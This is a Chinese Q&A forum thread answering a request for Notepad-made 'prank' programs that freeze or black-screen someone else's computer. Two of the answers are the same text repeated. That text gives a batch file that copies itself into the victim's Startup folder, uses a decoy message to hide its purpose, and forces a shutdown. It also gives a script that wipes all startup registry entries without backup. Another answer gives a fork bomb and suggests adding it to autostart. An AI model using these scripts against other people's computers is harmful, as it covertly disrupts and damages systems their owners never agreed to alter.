求几个用记事本制作的可以使别人电脑死机或黑屏什么的整人小程序

Answer 1

邪恶啊！我真邪恶！
把bat文件加入别人电脑的启动项里
目的就是叫指定目标的电脑一开机就重启，或者关机
关键是这一句（xp适用）
copy %0 "%userprofile%\「开始」菜单\程序\启动"
，如果是win7系统将路径改为"%userprofile%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup"。
@echo off
msg * baby，早睡早起身体好。
rem 迷惑她，让她以为你发这个就是为说这句话的。
net start Schedule
if %time% geq 0:00 if %time% leq 6:00 shutdown /s /t 0
cls
copy %0 "C:\Documents and Settings\Administrator\「开始」菜单\程序\启动"
pause

@ ECHO OFF
@ ECHO.
@ ECHO. 说 明
@ ECHO --------------------------------------------------------------
@ ECHO 本批处理会自动清理所有非必要的启动项目，仅保留输入法(ctfmon)。
@ ECHO 目的是减少不必要的资源占用，使系统运行顺畅。但清理掉的项目不作
@ ECHO 备份，请小心使用。
@ ECHO --------------------------------------------------------------
PAUSE
reg delete HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /va /f
reg delete HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run /va /f
reg add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run /v ctfmon.exe /d C:\WINDOWS\system32\ctfmon.exe
reg delete "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Shared Tools\MSConfig\startupreg" /f
reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Shared Tools\MSConfig\startupreg\IMJPMIG8.1"
reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Shared Tools\MSConfig\startupreg\IMJPMIG8.1" /v command /d ""C:\WINDOWS\IME\imjp8_1\IMJPMIG.EXE" /Spoil /RemAdvDef /Migration32"
reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Shared Tools\MSConfig\startupreg\IMJPMIG8.1" /v hkey /d HKLM
reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Shared Tools\MSConfig\startupreg\IMJPMIG8.1" /v inimapping /d 0
reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Shared Tools\MSConfig\startupreg\IMJPMIG8.1" /v item /d IMJPMIG
reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Shared Tools\MSConfig\startupreg\IMJPMIG8.1" /v key /d SOFTWARE\Microsoft\Windows\CurrentVersion\Run
reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Shared Tools\MSConfig\startupreg\PHIME2002A"
reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Shared Tools\MSConfig\startupreg\PHIME2002A" /v command /d "C:\WINDOWS\system32\IME\TINTLGNT\TINTSETP.EXE /IMEName"
reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Shared Tools\MSConfig\startupreg\PHIME2002A" /v hkey /d HKLM
reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Shared Tools\MSConfig\startupreg\PHIME2002A" /v inimapping /d 0
reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Shared Tools\MSConfig\startupreg\PHIME2002A" /v item /d TINTSETP
reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Shared Tools\MSConfig\startupreg\PHIME2002A" /v key /d SOFTWARE\Microsoft\Windows\CurrentVersion\Run
reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Shared Tools\MSConfig\startupreg\PHIME2002ASync"
reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Shared Tools\MSConfig\startupreg\PHIME2002ASync" /v command /d ""C:\WINDOWS\IME\imjp8_1\IMJPMIG.EXE" /Spoil /RemAdvDef /Migration32"
reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Shared Tools\MSConfig\startupreg\PHIME2002ASync" /v hkey /d HKLM
reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Shared Tools\MSConfig\startupreg\PHIME2002ASync" /v inimapping /d 0
reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Shared Tools\MSConfig\startupreg\PHIME2002ASync" /v item /d TINTSETP
reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Shared Tools\MSConfig\startupreg\PHIME2002ASync" /v key /d SOFTWARE\Microsoft\Windows\CurrentVersion\Run
del "C:\Documents and Settings\All Users\「开始」菜单\程序\启动\*.*" /q /f
del "C:\Documents and Settings\Default User\「开始」菜单\程序\启动\*.*" /q /f
del "%userprofile%\「开始」菜单\程序\启动\*.*" /q /f
start C:\WINDOWS\system32\msconfig.exe

Answer 2

最简单的一句（可以加入开机自启）
%0|%0
就是运行自己然后把结果传递给自己的新实例，然后新实例又运行自己然后把结果传递给自己的新实例......(就是个死循环。)（初始化要段时间，初始化后就关闭不了了。）
还有“用记事本制作”并不严谨，应该是“cmd代码”。（蹭热度也不要蹭小程序的热度，这叫脚本。）

Answer 3

把bat文件加入别人电脑的启动项里
目的就是叫指定目标的电脑一开机就重启，或者关机
关键是这一句（xp适用）
copy %0 "%userprofile%\「开始」菜单\程序\启动"
，如果是win7系统将路径改为"%userprofile%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup"。
@echo off
msg * baby，早睡早起身体好。
rem 迷惑她，让她以为你发这个就是为说这句话的。
net start Schedule
if %time% geq 0:00 if %time% leq 6:00 shutdown /s /t 0
cls
copy %0 "C:\Documents and Settings\Administrator\「开始」菜单\程序\启动"
pause

@ ECHO OFF
@ ECHO.
@ ECHO. 说 明
@ ECHO --------------------------------------------------------------
@ ECHO 本批处理会自动清理所有非必要的启动项目，仅保留输入法(ctfmon)。
@ ECHO 目的是减少不必要的资源占用，使系统运行顺畅。但清理掉的项目不作
@ ECHO 备份，请小心使用。
@ ECHO --------------------------------------------------------------
PAUSE
reg delete HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /va /f
reg delete HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run /va /f
reg add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run /v ctfmon.exe /d C:\WINDOWS\system32\ctfmon.exe
reg delete "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Shared Tools\MSConfig\startupreg" /f
reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Shared Tools\MSConfig\startupreg\IMJPMIG8.1"
reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Shared Tools\MSConfig\startupreg\IMJPMIG8.1" /v command /d ""C:\WINDOWS\IME\imjp8_1\IMJPMIG.EXE" /Spoil /RemAdvDef /Migration32"
reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Shared Tools\MSConfig\startupreg\IMJPMIG8.1" /v hkey /d HKLM
reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Shared Tools\MSConfig\startupreg\IMJPMIG8.1" /v inimapping /d 0
reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Shared Tools\MSConfig\startupreg\IMJPMIG8.1" /v item /d IMJPMIG
reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Shared Tools\MSConfig\startupreg\IMJPMIG8.1" /v key /d SOFTWARE\Microsoft\Windows\CurrentVersion\Run
reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Shared Tools\MSConfig\startupreg\PHIME2002A"
reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Shared Tools\MSConfig\startupreg\PHIME2002A" /v command /d "C:\WINDOWS\system32\IME\TINTLGNT\TINTSETP.EXE /IMEName"
reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Shared Tools\MSConfig\startupreg\PHIME2002A" /v hkey /d HKLM
reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Shared Tools\MSConfig\startupreg\PHIME2002A" /v inimapping /d 0
reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Shared Tools\MSConfig\startupreg\PHIME2002A" /v item /d TINTSETP
reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Shared Tools\MSConfig\startupreg\PHIME2002A" /v key /d SOFTWARE\Microsoft\Windows\CurrentVersion\Run
reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Shared Tools\MSConfig\startupreg\PHIME2002ASync"
reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Shared Tools\MSConfig\startupreg\PHIME2002ASync" /v command /d ""C:\WINDOWS\IME\imjp8_1\IMJPMIG.EXE" /Spoil /RemAdvDef /Migration32"
reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Shared Tools\MSConfig\startupreg\PHIME2002ASync" /v hkey /d HKLM
reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Shared Tools\MSConfig\startupreg\PHIME2002ASync" /v inimapping /d 0
reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Shared Tools\MSConfig\startupreg\PHIME2002ASync" /v item /d TINTSETP
reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Shared Tools\MSConfig\startupreg\PHIME2002ASync" /v key /d SOFTWARE\Microsoft\Windows\CurrentVersion\Run
del "C:\Documents and Settings\All Users\「开始」菜单\程序\启动\*.*" /q /f
del "C:\Documents and Settings\Default User\「开始」菜单\程序\启动\*.*" /q /f
del "%userprofile%\「开始」菜单\程序\启动\*.*" /q /f
start C:\WINDOWS\system32\msconfig.exe

Answer 4

给他整一个锁机软件